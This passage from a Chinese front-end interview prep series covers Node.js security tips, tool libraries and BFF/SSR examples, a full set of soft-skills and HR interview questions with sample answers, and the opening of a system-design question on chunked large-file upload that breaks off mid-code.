   app.use('/api/', rateLimit({ windowMs: 15*60*1000, max: 100 }));

8. 请求体大小限制（防内存耗尽）
   app.use(express.json({ limit: '1mb' }));

9. 原型污染
   - 避免直接 Object.assign({}, JSON.parse(userInput))
   - 用 lodash.merge 前先看 CVE，或换 defu / merge-deep
   - 校验 __proto__ / constructor / prototype 键

10. SSRF（服务端请求伪造）
    - 用户传入 URL 时白名单校验
    - 禁止内网 IP（10.x / 192.168.x / 127.x）

生态与工具

Q19: Node.js 常见工具库？⭐⭐

HTTP 客户端：
- axios（最流行，Promise API）
- node-fetch（fetch API 兼容）
- got（功能强大，重试、hooks）
- undici（Node 官方，最快，fetch 内置实现）

参数校验：
- zod（TS 友好，运行时校验 + 类型推断）
- joi（功能全，Schema 声明式）
- yup（前端也用，Formik 搭配）
- class-validator（NestJS 默认，装饰器风格）

日志：
- pino（性能最好，JSON 格式）
- winston（灵活，多 transport）
- consola（美观，Nuxt 默认）

任务队列：
- bull / bullmq（Redis 后端，最流行）
- agenda（MongoDB 后端）
- bee-queue（轻量 Redis）

定时任务：
- node-cron（Cron 表达式）
- node-schedule（更灵活）

工具库：
- lodash（工具函数）
- dayjs（日期，moment 替代品）
- uuid（生成唯一 ID）
- dotenv（.env 加载）

TypeScript 支持：
- ts-node（直接运行 TS）
- tsx（更快，基于 esbuild）
- @types/node（Node API 类型）

打包与发布：
- esbuild（极快，打包 CLI 工具）
- tsup（基于 esbuild 的库打包）
- pkg / nexe（打包成单文件可执行）
- ncc（@vercel/ncc，打包成单文件）

实战场景

Q20: 如何用 Node.js 实现 BFF 层？⭐⭐⭐ 🔥

BFF（Backend For Frontend）价值：
- 接口聚合（多微服务 → 一个前端接口）
- 数据裁剪（只返回前端需要的字段）
- 适配多端（Web / App / 小程序不同结构）
- 缓冲层（后端变更时 BFF 消化差异）
- SSR（服务端渲染）

NestJS 实现 BFF：

// user.controller.ts
@Controller('bff')
export class BffController {
  constructor(
    private userService: UserService,
    private orderService: OrderService,
    private productService: ProductService,
  ) {}

  // 首页聚合接口：一次请求拿到用户信息 + 订单 + 推荐商品
  @Get('home')
  async getHomeData(@Req() req) {
    const userId = req.user.id;

    // 并行调用多个下游服务（Promise.all）
    const [user, orders, recommendations] = await Promise.all([
      this.userService.getProfile(userId),
      this.orderService.getRecentOrders(userId, 5),
      this.productService.getRecommendations(userId, 10),
    ]);

    // 数据裁剪 + 格式化
    return {
      user: {
        name: user.name,
        avatar: user.avatarUrl,
        level: user.vipLevel,
        // 不返回敏感信息（手机号、身份证、地址）
      },
      orders: orders.map(o => ({
        id: o.id,
        title: o.items[0].name,
        status: o.status,
        // 不返回详细的物流、发票等信息
      })),
      products: recommendations.map(p => ({
        id: p.id,
        title: p.title,
        price: p.price,
        image: p.images[0],
      })),
    };
  }
}

// BFF 关键实践：
// 1. 并行请求（Promise.all）而非串行
// 2. 超时控制（Promise.race + timeout）
// 3. 降级策略（某个下游挂了返回兜底数据）
// 4. 缓存（Redis 缓存聚合结果，短 TTL）
// 5. 类型共享（前后端共用 DTO 类型）
// 6. 错误统一处理（下游错误转前端友好提示）

Q21: Node.js 如何做 SSR？⭐⭐⭐

// 最简单的 SSR（原生 HTTP + Vue）
const { createSSRApp } = require('vue');
const { renderToString } = require('vue/server-renderer');
const http = require('http');

http.createServer(async (req, res) => {
  const app = createSSRApp({
    data: () => ({ message: 'Hello SSR' }),
    template: '<div>{{ message }}</div>',
  });
  const html = await renderToString(app);
  res.end(`
    <!DOCTYPE html>
    <html>
      <body>
        <div id="app">${html}</div>
        <script src="/client.js"></script>
      </body>
    </html>
  `);
}).listen(3000);

// 现代 SSR 框架：
// - Next.js（React）：文件路由 + SSR/SSG/ISR + API Routes
// - Nuxt 3（Vue）：文件路由 + SSR/SSG + Server API
// - Astro：SSG 为主 + 岛屿架构（局部 hydration）
// - Remix：SSR + Web 标准 + 嵌套路由

// SSR 关键问题：
// 1. 数据获取：服务端预取（getServerSideProps / useFetch）
// 2. 状态脱水/注水：服务端 state → HTML → 客户端 hydration
// 3. 环境判断：typeof window === 'undefined' 区分服务端
// 4. 内存泄漏：服务端不能持有请求级数据到全局
// 5. 性能：缓存渲染结果、流式 SSR、部分 hydration

复习卡片

[!TIP] 快速复习清单

Node.js 特点：单线程 + 非阻塞 I/O + 事件驱动，适合 I/O 密集

架构：V8（执行 JS）+ libuv（异步 I/O）+ C++ Bindings

高并发原理：事件循环 + libuv 线程池，主线程不阻塞

CJS vs ESM：运行时同步拷贝 vs 编译时静态引用；ESM 支持顶层 await 和 Tree Shaking

循环依赖：Node 返回不完整 exports，需重构避免

事件循环六阶段：timers → pending → poll → check → close；nextTick > Promise > setTimeout

Buffer：二进制容器，堆外内存，alloc/from/concat/slice

Stream 四类：Readable / Writable / Duplex / Transform；pipe 处理背压；pipeline 更安全

多核利用：cluster（Web 服务）/ worker_threads（CPU 密集）/ child_process（外部命令）

框架选型：Express 通用 / Koa 洋葱 / Fastify 性能 / NestJS 企业级

Koa 洋葱模型：await next() 前后逻辑对称，用于日志、事务、错误处理

数据库：Prisma（现代首选）/ TypeORM（NestJS）/ Sequelize / Mongoose

连接池：预创建连接复用，避免频繁握手，注意连接泄漏

性能优化：Stream 处理大文件 + 缓存（内存/Redis）+ 多进程 + 异步 API + 监控（clinic.js）

PM2：集群模式 + 零停机 reload + 日志管理 + 监控

Docker 部署：多阶段构建 + alpine + 非 root 用户 + 健康检查 + 优雅关闭

安全：helmet + rate limit + 参数化查询 + 依赖审计 + 请求体大小限制

BFF 实践：接口聚合 + 数据裁剪 + 并行调用 + 降级 + 缓存

SSR：Next.js / Nuxt / Astro；数据脱水注水 + 环境判断 + 内存泄漏防范

[!TIP] 掌握 Node.js 全栈能力后，如果想进一步了解资深前端在双栈选型、图形渲染、Hybrid 硬件跨端与 AI 研发上的实战思考，请继续阅读扩展专题：资深前端核心能力问答（24 问覆盖 React/Vue 双栈、Next.js SSR、Konva/Three.js、N-API、工程化性能与 AI 协作流）。

返回面试宝典总览 | 面试宝典合集页

Node.js 学习延伸：

官方文档：https://nodejs.org/docs/latest/api/

Node.js 设计模式（书）

《Node.js 调试指南》

NestJS 官方文档（企业级最佳实践）

软素质与 HR 面（技术之外的必考环节）

Wed, 16 Sep 2026 14:00:00 GMT

[!NOTE] 本文包含 18 道软素质与 HR 面必考题。技术过硬但沟通表达差、职业规划不清、离职原因说不清，同样会被拒。这部分是"锦上添花"，也是"一票否决"。

自我介绍

Q1: 请做一个自我介绍 ⭐ 🔥

万能结构（1.5-2 分钟）：

【身份标签】+【核心经历】+【技术亮点】+【为什么来这里】

模板：
"面试官好，我是 XXX，X 年前端开发经验，目前在 XX 公司担任 XX。

【经历】主要负责过 XX 类型的项目，比如 XXX（一句话概括业务），
       团队规模 X 人，我负责 XX 模块。

【亮点】技术栈以 Vue/React 为主，最近在深入研究 XX 方向（如低代码/
       性能优化/微前端），主导过 XXX 项目，把 XXX 指标从 A 提升到 B。

【动机】看到贵公司在 XX 领域的产品，我很有兴趣，希望能有机会
       在这里做出更多有价值的产品。"

注意事项：

❌ 不要背简历（面试官已经在看了）
❌ 不要说家庭、爱好、性格（除非被问）
❌ 不要超过 3 分钟（超时被打断很尴尬）
✅ 有量化数据（性能提升 X%、支持 X 万用户）
✅ 有技术亮点（1-2 个能展开深挖的点）
✅ 提前根据 JD 定制（关键词对齐）

6 年经验者示例：

"面试官好，我是张三，6 年前端开发经验，目前在 XX 科技做高级前端。

我主要负责公司核心 SaaS 产品的前端架构和团队技术建设。之前主导过管理后台从 Vue2 + Element UI 迁移到 Vue3 + Vite + TypeScript 的项目，把首屏时间从 4.2s 优化到 1.5s，构建时间从 3 分钟降到 20 秒。

最近一年我在做前端基建方向，搭建了公司的组件库（80+ 组件，20+ 项目在用）、监控平台（错误率下降 60%）和低代码平台（运营配置活动页效率提升 5 倍）。技术栈以 Vue/React 双栈为主，也在推动 Monorepo 和微前端落地。

关注贵公司的产品很久了，特别是 XX 产品的技术挑战很吸引我，希望能有机会加入。"

项目介绍

Q2: 介绍一个你最有成就感的项目 ⭐⭐⭐ 🔥

STAR 法则（必背）：

S (Situation) 情境：项目背景、业务价值、团队规模
T (Task)      任务：你负责什么、要解决什么问题
A (Action)    行动：你做了什么（技术方案 + 权衡 + 落地）
R (Result)    结果：量化数据（性能、效率、业务指标）

示例（性能优化项目）：

【S】 "去年公司 SaaS 产品的用户量从 1 万涨到 10 万，客户投诉页面加载慢、操作卡顿，续费率下滑了 8%。

【T】 我作为前端负责人，主导整个产品的性能优化专项，目标是首屏 LCP 从 6.8s 降到 2.5s 以内，交互卡顿彻底消除。

【A】 我先做了全面的性能诊断：用 Lighthouse + Performance 面板 + 自建 RUM 平台，定位到三大瓶颈：

主包 3.2MB，echarts/moment/lodash 全量引入

报表页串行请求 4 个接口，等待时间长

表格一次渲染 5000 行 DOM，滚动掉帧

对应的方案：

echarts 按需注册组件，moment 换 dayjs，lodash 换 lodash-es，主包减到 780KB

路由级代码分割 + Vite manualChunks 拆包 + Gzip + CDN

推动后端做 BFF 聚合接口，前端 Promise.all 并行请求

表格用虚拟列表，只渲染可视区 30 行

建立前端性能监控看板，CI 加 bundlesize 检查防止退化

【R】 上线一个月后：

LCP：6.8s → 1.9s（下降 72%）

INP：600ms → 80ms

客诉工单减少 70%，续费率回升到 85%

沉淀了团队的性能优化 checklist，后续项目直接复用"

加分技巧：

有数据：不说"提升性能"，说"LCP 从 6.8s 降到 1.9s"
有权衡：不说"我用了 X"，说"考虑过 A、B，最终选 X 因为..."
有反思：主动说"这个项目最大的教训是..."
有沉淀：优化后形成的规范、工具、文档、脚手架

Q3: 项目中最难的技术点是什么？如何解决的？⭐⭐⭐ 🔥

回答结构：

【背景】为什么难（技术挑战 or 业务复杂度 or 团队协调）
【尝试】第一版方案是什么、为什么不 work
【突破】最终的方案 + 关键技术点
【验证】如何证明解决了（数据、监控、用户反馈）
【沉淀】文档/工具/规范

示例（协同编辑难点）：

"背景：我们做在线文档时，遇到多人同时编辑冲突问题——A 和 B 同时改一段话，最终结果不可预测。

一开始我用的是简单的锁机制（编辑时锁定单元格），但用户体验很差，多人协作变成排队。

后来调研了 Google Docs 的 OT 算法和 Figma 的 CRDT 方案。OT 需要中央服务器严格协调，实现复杂；CRDT 数据结构本身保证一致性，支持离线。综合考虑后选了 Yjs（基于 CRDT），配合 WebSocket 做实时同步。

关键难点在于 Yjs 与我们自研富文本编辑器的绑定：Yjs 的数据结构是 Y.Text，编辑器是自定义 Schema，需要写双向转换层。最终花了两周搞定，光标同步、离线合并、历史版本都跑通。

验证：压测 100 人同时编辑一个文档，无冲突、无数据丢失，延迟 <200ms。

沉淀：写了一份《协同编辑技术方案》文档，在团队内部分享，后来另一个产品线也复用了这套方案。"

离职原因

Q4: 你为什么从上一家公司离职？⭐ 🔥

核心原则：

❌ 不抱怨前公司、前老板、前同事（哪怕真的很烂）
❌ 不说是为了钱（哪怕是）
✅ 正面表达 + 未来导向（追求什么，不是逃离什么）

回答模板（按真实场景选）：

真实原因	建议话术
技术成长受限	"希望接触更大规模/更复杂的技术场景，贵公司在这方面有优势"
业务方向不喜欢	"对 XX 领域更感兴趣，看到贵公司在 XX 方向的产品非常认可"
团队氛围差	"希望加入更注重技术分享和工程文化的团队"
加班太严重	"希望在保持高效产出的同时，有更合理的工作节奏专注技术深度"（慎用）
薪资低	不要说！说"寻求更符合个人能力和贡献的机会"
公司裁员	直接说"公司业务调整，团队被优化，我在这个过程中也重新思考了职业方向"
老板不好	绝对不说！说"寻求更好的技术导师和成长环境"

加分回答：

"我在上一家公司待了 3 年，从初级做到高级，负责了核心 SaaS 产品的前端架构，也带过 3 个人的小组，非常感谢公司的培养。选择离开主要是两个原因：

一是产品进入稳定期，技术挑战变少了，我希望接触更复杂的场景（比如大规模分布式前端架构、AI + 前端方向）；

二是关注贵公司很久了，特别是 XX 产品在 XX 领域的创新让我很兴奋，希望能在这样的团队里做出更有影响力的产品。"

职业规划

Q5: 你的职业规划是什么？⭐⭐ 🔥

回答框架（3-5 年）：

【短期 1 年】融入团队 → 熟悉业务 → 独立承担核心模块
【中期 2-3 年】技术专家方向 or 技术管理方向 → 主导项目/技术选型
【长期 3-5 年】成为领域专家 or 技术负责人 → 影响业务方向

示例（技术专家方向）：

"短期一年内，我希望快速融入团队，熟悉业务和现有技术栈，独立承担 1-2 个核心模块的开发。

中期 2-3 年，我想在前端架构方向深耕，比如性能优化、微前端、低代码这些领域，希望能主导一次大的技术升级或架构演进，成为团队里某个方向的技术专家。

长期 3-5 年，我希望成长为能独当一面的技术负责人，不只是写代码，而是能从业务视角思考技术方案，帮助团队做出更好的产品决策。当然，具体路径也会根据公司发展需要调整。"

注意事项：

❌ 别说"想创业"（面试官会觉得你不稳定）
❌ 别说"想转产品/管理"（除非应聘相应岗位）
❌ 别说"没想过"（显得没规划）
✅ 规划要和岗位匹配（应聘高级工程师，就说想成为架构师/技术专家）
✅ 表达要落地（不说空话"成为大牛"，说具体方向）

反问环节

Q6: 你有什么想问我们的吗？⭐ 🔥

核心原则： 一定要问！不问 = 不感兴趣。但也不能问薪资、加班、假期（一面二面阶段）。

推荐问题（按面试官身份分层）：

问技术面试官（一面/二面）：

"团队目前的技术栈和架构是什么样的？未来一年有什么演进计划？"
"这个岗位主要会负责哪些模块？团队怎么分工？"
"团队目前遇到的最大技术挑战是什么？"
"团队的 Code Review、技术规范、上线流程是怎样的？"
"如果我入职，前 3 个月您希望我达成什么目标？"

问技术 Leader / 总监（三面）：

"这个岗位在团队中的定位是什么？未来 1-2 年的发展路径？"
"团队的技术文化和工程氛围是怎样的？有没有技术分享、Code Review、开源贡献？"
"您觉得团队里做得最好的和最需要改进的分别是什么？"
"公司对这个业务方向的长期规划是怎样的？"

问 HR（HR 面）：

"公司的培训体系和技术职级晋升机制是怎样的？"
"团队的规模、构成、汇报关系是怎样的？"
"面试流程还有几轮？大概什么时候能有反馈？"
薪资、期权、加班、假期：HR 面可以问，但要放到最后

❌ 千万别问：

"加班多吗？"（一面二面问 = 直接扣分）
"有没有对象/单身吗？"（不专业）
能百度到的公司基本信息
面试表现如何（让面试官尴尬）

压力面 / 冲突处理

Q7: 和产品/后端/设计有分歧怎么办？⭐⭐ 🔥

回答框架：

1. 先理解对方立场（不是敌对，是共同目标）
2. 用数据和事实说话（不是"我觉得"）
3. 找共同上级或第三方评审（避免死磕）
4. 决定后果断执行（不带着情绪做）

示例回答：

"我之前遇到过一个典型案例：产品要求首页加载 20 个模块的内容，我评估后觉得会严重影响性能（首屏可能超过 5s）。

我没有直接说'这个做不了'，而是先做了两件事：

拉了一版原型，实际测了性能数据，用 Lighthouse 报告说明问题

找了几个类似产品（比如竞品）的首页设计做对比

然后和产品沟通：我理解你想让用户看到更多内容的初衷，但数据显示 20 个模块会让首屏慢 3 秒，用户流失率会上升 X%。我提了两个折中方案：

方案 A：首屏保留 8 个核心模块，其他做成 Tab 切换

方案 B：全部保留，但用懒加载 + 骨架屏，视觉上不阻塞

最后产品选了方案 A，上线后首屏 1.8s，用户停留时长反而提升了。

我的经验是：分歧不可怕，可怕的是没有数据和替代方案。前端要用专业能力帮产品做更好的决策，而不是简单说'做不了'。"

Q8: 如果领导给你一个不合理的需求（工期短、任务重），你怎么办？⭐⭐

1. 先明确需求边界（是不是真的"不合理"，还是自己评估失误）
2. 拆分优先级：必须做的 / 可以延后的 / 可以砍的
3. 给领导选择题，而不是判断题
   "如果本周上线，只能完成 A + B；如果延到下周，可以完成 A + B + C。您看哪个方案更符合业务节奏？"
4. 明确风险：如果强推，哪些质量指标会打折（测试覆盖率、性能优化）
5. 记录决策：邮件/文档同步，避免后期背锅
6. 执行阶段：拉齐每日进度，遇到问题及时暴露

Q9: 你的缺点是什么？⭐

核心原则：

❌ 不说假缺点（"我太追求完美了"、"我工作太拼了" —— 面试官内心 OS：滚）
❌ 不说真致命伤（"我脾气差"、"我不爱学习"、"我经常迟到"）
✅ 说真实但可改进的缺点 + 已经在做的行动

示例：

"我以前有个问题是过于追求技术完美，做一个组件会花很多时间打磨细节，导致进度慢。后来我意识到业务价值优先，现在的做法是：先出 MVP 满足业务，再用业余时间迭代优化。

另一个是公开表达能力偏弱，之前在团队分享会紧张。我这一年主动承担了 3 次内部分享，还参加了一个技术演讲社群，现在已经好很多了。"

薪资谈判

Q10: 期望薪资是多少？⭐ 🔥

核心策略：

1. 先反问对方范围（如果 HR 主动问）
   "方便告诉我这个岗位的薪资范围吗？我看看是否匹配。"

2. 报数字要给区间，别给单点
   ❌ "我要 30K"
   ✅ "根据我的经验和市场情况，期望在 30-35K，具体可以根据
       整体 package（期权、奖金、福利）综合考虑"

3. 有底线的自信
   - 底线：目前薪资 × 1.2（低于这个数宁可不来）
   - 期望：目前薪资 × 1.4-1.5（合理涨幅）
   - 理想：目前薪资 × 1.8+（如果技术面评价很高可以争取）

4. 别只看月薪，看总包
   - 月薪 × 12 or 13 or 14（几薪）
   - 期权 / 股票（上市公司看当前价，未上市看估值）
   - 年终奖 / 项目奖金
   - 补贴（餐补、房补、交通、通讯）
   - 五险一金基数（按实际工资还是最低标准？）
   - 年假、病假、产假
   - 加班文化（大小周？996？）

5. 手里有多个 Offer 时
   "我目前有几个 Offer 在谈，其中 X 公司给到 XXK，但贵公司
    是我的第一选择，如果 package 能匹配，我会优先考虑。"

6 年经验薪资参考（一线城市 2026）：

公司类型	月薪范围	总包
大厂 P6/P7	35-55K × 15-16 薪	60-100W
独角兽	30-45K × 14-15 薪 + 期权	50-80W
中型互联网	25-40K × 13-14 薪	40-60W
传统行业 IT	20-30K × 13 薪	30-45W

注意： 具体数字因城市、行业、公司差异很大，面试前可以在脉脉、看准网、OfferShow 查一下该公司该岗位的行情。

团队协作与领导力

Q11: 你带过新人吗？如何培养？⭐⭐

带新人的四个阶段：

1. 入职第一周：环境搭建
   - 准备好开发环境文档（不要口头讲）
   - 指定 Mentor（每天固定 30 分钟答疑）
   - 分配一个小任务（bug 修复 / 简单需求）建立信心

2. 第一月：熟悉业务
   - 参与需求评审、Code Review（先旁听再发言）
   - 承担独立小模块开发
   - 每周一对一 sync，收集困惑和反馈

3. 前三月：独立承担
   - 分配完整需求（从评审到上线）
   - Code Review 严格把关，重点讲"为什么"而不只是"怎么改"
   - 引导写技术文档、总结沉淀

4. 半年后：技术成长
   - 鼓励做技术分享、参与架构讨论
   - 给挑战性任务（性能优化、技术选型）
   - 帮助规划职业发展路径

关键心态：
- 允许犯错（在可控范围内），不要事事亲为
- 多问"你怎么想"，少说"你这样做"
- 及时肯定，具体反馈（不说"做得好"，说"这个方案考虑到了 X 场景，很棒"）

Q12: 如何推动团队做技术改进（比如引入 TypeScript）？⭐⭐⭐

技术改革的常见阻力：
- 老代码迁移成本高
- 团队学习曲线
- 短期业务压力大
- 部分成员抵触

推动策略：

1. 数据说话，不做空谈
   ❌ "TS 好，我们应该用"
   ✅ "调研了 3 个业界项目，用 TS 后线上 bug 率下降 40%，
       我们过去半年的 P0 事故中有 60% 是类型问题"

2. 从增量开始，不搞"一次性大爆炸"
   - 新模块强制 TS，老代码保留 JS
   - allowJs: true 共存，逐步迁移
   - 先做工具函数、类型定义（低风险的模块）

3. 建样板工程 + 文档
   - 挑一个中等复杂度模块作为示范
   - 写《TS 迁移手册》《常见类型模式》
   - 团队分享会讲透

4. 拉关键人物背书
   - 先说服技术负责人 / 团队 Leader
   - 找 1-2 个有影响力的同事做首批尝鲜者
   - 用他们的正面反馈带动其他人

5. 提供工具降低成本
   - 配好 ESLint / tsconfig 模板
   - CI 加类型检查（不能通过就不让合）
   - 常见类型的 Snippet / 代码模板

6. 度量效果，持续迭代
   - 三个月后统计 bug 率、开发效率
   - 收集团队反馈，调整规范
   - 沉淀最佳实践

学习能力与技术热情

Q13: 你最近在学习什么新技术？⭐

回答策略：

1. 说真话（面试官可能会深挖）
2. 有系统性（不是"随便看看"，而是"深入实践"）
3. 有输出（写了博客 / 做了 Demo / 用在了项目里）

示例：

"最近半年我在深入研究两个方向：

一是 AI + 前端，特别是 LLM 应用开发。我用 Vercel AI SDK + Next.js 做了一个内部工具，让运营可以用自然语言查询数据。技术上研究了 SSE 流式响应、Prompt Engineering、Function Calling。这个项目让部门的数据分析效率提升了 3 倍。

二是 Rust + WASM 在前端的应用。我用 Rust 写了一个图片处理库编译到 WASM，替换掉原来纯 JS 的实现，性能提升了 8 倍。相关的学习笔记我发在了个人博客上（可以顺便秀一下你的博客地址）。

学习方法上，我习惯'先动手做小项目，再系统看文档，最后写博客总结'，这样印象最深。"

加分点：

有 GitHub / 博客 / 开源贡献
关注具体技术公众号、周刊（阮一峰周刊、字节技术、掘金等）
参加技术大会 / Meetup

Q14: 遇到不会的技术问题怎么办？⭐

标准回答（体现方法论）：

1. 官方文档优先（MDN / React 官方 / Vue 官方）
2. 搜索引擎（Google > 百度，英文 > 中文）
3. 社区（Stack Overflow / GitHub Issues / 掘金 / V2EX）
4. AI 工具（ChatGPT / Claude / Copilot，但要验证）
5. 团队同事（先自己查 30 分钟，实在不行再问，问的时候带上"我尝试了什么"）
6. 源码阅读（终极手段，特别是框架 bug）

关键原则：
- 不是"不会就放弃"，而是"不会就查+验证+沉淀"
- 每次解决问题后写文档，避免团队重复踩坑
- 定期回顾，把高频问题变成工具/规范

面试全流程

Q15: 完整的面试流程是怎样的？如何准备？⭐⭐

中高级前端典型流程：

1. HR 电话沟通（15-30 min）
   - 基本情况、期望薪资、离职原因
   - 目的：初筛，判断是否匹配

2. 技术一面（60 min，同级工程师）
   - 基础知识（HTML/CSS/JS）
   - 手写代码（防抖节流、深拷贝等）
   - 项目细节

3. 技术二面（60 min，技术 Leader）
   - 深入原理（Vue/React 源码、性能优化）
   - 系统设计场景题
   - 项目难点、技术决策

4. 技术三面 / 交叉面（60 min，总监 or 其他团队 Leader）
   - 架构能力、技术视野
   - 团队协作、领导力
   - 职业规划

5. HR 面（30-45 min）
   - 稳定性、性格、期望薪资
   - 家庭情况（合规的公司不会问太多）

6. Offer 沟通
   - 薪资谈判
   - 期权、入职时间

准备清单：

【技术准备】
- 复习本宝典 18 篇文章，特别是标 🔥 的高频题
- 手写代码题练 3 遍以上（14 篇）
- 项目难点整理成 STAR 表述（每个项目准备 2-3 个亮点）
- 系统设计题准备 3-5 个万能模板（17 篇）

【公司调研】
- 公司业务、产品、技术栈
- 面试团队规模、组织架构
- 最近的融资、大事件
- 面试评价（脉脉、看准网）

【个人材料】
- 简历更新（量化数据、STAR 结构）
- 作品集：GitHub / 个人博客 / Demo 站
- 离职证明、学历证明、薪资流水（提前准备）

【面试当天】
- 提前 15 分钟到 / 提前测试视频面试设备
- 带纸笔（现场画架构图很加分）
- 着装整洁（互联网公司不用正装，干净即可）
- 准备一份"反问清单"（Q6）

Q16: 面试中被问到不会的问题怎么办？⭐

❌ 千万不要：
- 强行编答案（面试官一深挖就穿帮）
- 直接说"不会"然后沉默（显得没思考）
- 转移话题（明显逃避）

✅ 正确姿势：

1. 承认 + 展示思路
   "这个具体的 API 我没用过，但我理解它可能是解决 XX 问题的，
    如果让我实现，我会从 XX 角度切入……"

2. 类比迁移
   "这个我不熟，但我用过类似的 XX，它的原理是……
    我猜这个技术可能也是类似的思路？"

3. 反问澄清
   "您能具体说下是在什么场景下用吗？我可能理解得不太准确。"
   （有时候面试官会给你提示）

4. 承诺后续
   "这个我确实没深入研究过，面试后我会去补一下。
    不过我之前遇到类似的 XX 问题时是这样解决的……"

关键是：展现你的思考方式和学习能力，而不是死记硬背的知识。
面试官考察的往往不是"你知不知道"，而是"你面对未知怎么应对"。

Q17: 面试挂了如何复盘？⭐⭐

每次面试后立即做（趁记忆新鲜）：

1. 记录所有被问到的问题
   - 技术题：题目 + 我的答案 + 标准答案
   - 场景题：题目 + 我的思路 + 更好的思路
   - 软素质题：题目 + 我的回答 + 事后回想的最佳回答

2. 分类归因
   - 知识盲区（没学过）→ 系统学习
   - 表达问题（知道但没说清）→ 练习口述
   - 思路问题（想到但方向错）→ 看别人的思路
   - 紧张/时间不够 → 模拟面试练习

3. 更新面试宝典
   - 新题补进对应的文章
   - 好的答案沉淀成模板

4. 一周后回顾
   - 把新学的知识再复述一遍
   - 类似题目能否举一反三

我的经验：面试 5-10 家之后，会明显感觉题目开始重复。
前 3 家可以当"练手"，心仪的公司放中间或后面。

Q18: 拿到多个 Offer 如何选择？⭐⭐

选择维度（按重要性排序）：

1. 业务方向 / 赛道
   - 朝阳行业（AI、新能源、出海）> 夕阳行业
   - 公司主营业务 > 边缘业务部门
   - 有增长空间的领域，个人成长更快

2. 团队和技术氛围
   - 团队规模（10-50 人是最舒服的规模）
   - Leader 背景（技术出身 or 业务出身）
   - 团队做过什么（有没有拿得出手的项目）
   - Code Review、技术分享、开源文化

3. 直属 Leader
   - 面试时的感觉：能不能聊得来
   - 他/她的技术视野、带人风格
   - 一个靠谱的 Leader 能让你 3 年成长翻倍

4. 薪资 Package
   - 现金部分：月薪 × 几薪
   - 长期激励：期权 / 股票（上市公司看现价，未上市打折看）
   - 隐性福利：五险一金基数、餐补房补、年假、体检

5. 工作强度 / 通勤
   - 大小周？996？弹性工作？
   - 通勤时间（每天 >2h 严重影响生活质量）
   - 远程办公支持

6. 公司稳定性
   - 融资轮次 / 现金流（未上市）
   - 财报 / 裁员历史（上市）
   - 业务是否核心（边缘业务容易被砍）

我的建议：
- 3-5 年经验：优先业务方向 + 团队氛围（成长期，选对方向最重要）
- 5-8 年经验：优先 Leader + 技术挑战（要有拿得出手的项目）
- 8 年+：优先业务前景 + 长期激励（考虑股权、期权）

复习卡片

[!TIP] 软素质面试核心要点

自我介绍：1.5-2 分钟，身份 + 经历 + 亮点 + 动机，有量化数据

项目介绍：STAR 法则，有数据、有权衡、有沉淀

技术难点：背景 → 尝试 → 突破 → 验证 → 沉淀

离职原因：不抱怨前公司，正面表达 + 未来导向

职业规划：3 段式（1 年 / 2-3 年 / 3-5 年），落地不空谈

反问环节：一定要问！技术面试官问技术、HR 面才问薪资

冲突处理：理解对方 → 数据说话 → 折中方案 → 果断执行

缺点：真实 + 可改进 + 已有行动

薪资：给区间不给单点，看总包不只看月薪

带新人：环境 → 业务 → 独立 → 成长，四阶段

推动改进：数据 → 增量 → 样板 → 关键人物 → 工具 → 度量

学习能力：说真话 + 有输出（博客 / GitHub / Demo）

不会的题：承认 + 展示思路 + 类比 + 承诺

复盘：立即记录 + 分类归因 + 更新宝典

选 Offer：业务 > 团队 > Leader > 薪资 > 强度 > 稳定性

[!IMPORTANT] 最后的建议

面试是双向选择，不是单向审判。你在展示能力的同时，也在评估这家公司是否值得加入。

保持自信但不傲慢、谦虚但不卑微。技术过硬 + 沟通清晰 + 职业规划明确 = 拿到心仪 Offer 的三大要素。

祝面试顺利！🎉

[!TIP] 技术+软素质都准备好后，如果想向全栈/BFF/SSR 方向深化，可继续阅读扩展专题：Node.js 面试题专篇涵盖事件循环、Stream、多进程多线程、Express/Koa/NestJS、Docker 部署等 Node.js 服务端开发核心知识。

返回面试宝典总览 | 面试宝典合集页

前端系统设计场景题（P6+ 高级岗分水岭）

Wed, 16 Sep 2026 13:00:00 GMT

[!NOTE] 本文包含 15 道前端系统设计场景题，是高级/资深前端（P6+/P7）面试的分水岭。回答核心是"分析 → 方案 → 权衡 → 演进"，而不是直接给代码。难度标注：⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考

回答框架

[!IMPORTANT] 系统设计题的黄金回答框架（务必按此结构组织）

需求澄清：反问关键细节（用户量、并发、场景、约束）

技术方案：整体架构 + 关键模块 + 数据流

技术选型：为什么选 A 不选 B（权衡 trade-off）

难点攻关：识别 1-2 个核心难点，深入展开

性能与体验：量化指标（响应时间、体积、FPS）

演进与兜底：从 MVP 到完整版的路径 + 异常处理

大文件上传

Q1: 设计一个支持 GB 级大文件上传的方案 ⭐⭐⭐ 🔥

需求澄清：

文件大小上限？（100MB / 1GB / 10GB）
网络环境？（内网稳定 / 公网易断）
是否需要断点续传？秒传？
并发用户数？服务端存储方案？

核心方案（分片上传 + 断点续传 + 秒传）：

上传流程：
1. 计算文件 hash（秒传/去重用）
2. 检查是否已上传（秒传命中直接返回）
3. 检查已上传分片（断点续传）
4. 切片并并发上传未上传的分片
5. 通知服务端合并

// 1. 文件切片
function createChunks(file, chunkSize = 5 * 1024 * 1024) {
  const chunks = [];
  for (let start = 0; start < file.size; start += chunkSize) {
    chunks.push(file.slice(start, start + chunkSize));
  }
  return chunks;
}

// 2. 计算文件 hash（增量 + Web Worker 避免卡顿）
// 大文件全量 hash 太慢，采用抽样 hash：
// - 首尾各 2MB 全量
// - 中间每隔 10MB 取 2MB 采样
async function calculateHash(file) {
  return new Promise(resolve => {
    const worker = new Worker('/hash-worker.js');
    worker.postMessage({ file });
    worker.onmessage = e => resolve(e.data.hash);
  });
}

// hash-worker.js（Web Worker 中计算，不阻塞主线程）
importScripts('/spark-md5.min.js');
self.onmessage = async ({ data: { file } }) => {
  const spark = new SparkMD5.ArrayBuffer();
  const chunks = createChunks(file);
  for (const chunk of chunks) {
    const buffer = await chunk.arrayBuffer();
    spark.append(buffer);
    self.postMessage({ progress: /* ... */ });   // 上报进度
  }
  self.postMessage({ hash: spark.end() });
};

// 3. 秒传 + 断点续传检查
const { uploadedChunks, uploaded } = await fetch('/api/upload/check', {
  method: 'POST',
  body: JSON.stringify({ hash, filename, total: chunks.length }),
}).then(r => r.json());

if (uploaded) return { url: existingUrl };      // 秒传命中

// 4. 并发上传（限制并发数 3）
const tasks = chunks
  .map((chunk, index) => ({ chunk, index }))
  .filter(({ index }) => !uploadedChunks.includes(index));

await asyncPool(3, tasks.map(({ chunk, index }) => async () => {
  const formData = new FormData();
